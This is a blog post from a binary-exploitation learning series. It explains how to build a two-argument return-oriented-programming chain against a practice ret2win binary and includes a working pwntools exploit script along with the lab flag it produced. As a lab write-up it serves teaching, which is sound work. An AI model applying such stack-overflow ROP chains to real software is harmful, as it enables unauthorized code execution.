- Published on
Pwn Learning Path #4: Building a Two-Argument ROP Chain
- Authors

- Name
- Muhammad Huzaifa
The next target required two values:
win(0xdeadbeef, 0xcafebabe);
Under the Linux x86_64 calling convention, the first argument belongs in rdi and the second belongs in rsi. That required two setup gadgets before entering win.
The required state
Immediately before win begins, I want:
rdi = 0xdeadbeef
rsi = 0xcafebabe
rip = win
The binary provides the corresponding gadgets:
pop rdi
ret
pop rsi
ret
Each gadget consumes two stack entries: one value for the pop, then one address for the following ret.
Reading the chain from top to bottom
After the 72-byte offset, the payload is:
pop rdi; ret
0xdeadbeef
pop rsi; ret
0xcafebabe
win
The execution sequence is:
- return into
pop rdi; ret; - load
0xdeadbeefintordi; - return into
pop rsi; ret; - load
0xcafebabeintorsi; - return into
winwith both arguments ready.
The pwntools payload
from pwn import *
elf = context.binary = ELF('./ret2win_2args', checksec=False)
rop = ROP(elf)
io = process(elf.path)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
payload = flat(
b'A' * 72,
pop_rdi,
0xdeadbeef,
pop_rsi,
0xcafebabe,
elf.symbols['win'],
)
io.sendline(payload)
print(io.recvall().decode())
The lab confirmed the chain with:
local{ret2win_two_argument_control}
My takeaway
A ROP chain is easier to debug when I stop viewing it as a byte string. It is an ordered list of state transitions:
set rdi -> set rsi -> enter target
When a chain fails, I can break at each gadget and ask three questions:
- What value is currently at
[rsp]? - What will this instruction change?
- Which address will the next
retconsume?
The three-argument lab extends exactly the same reasoning to rdx.
Series navigation
← Part 3: one argument · Part 5: ret2win with three arguments →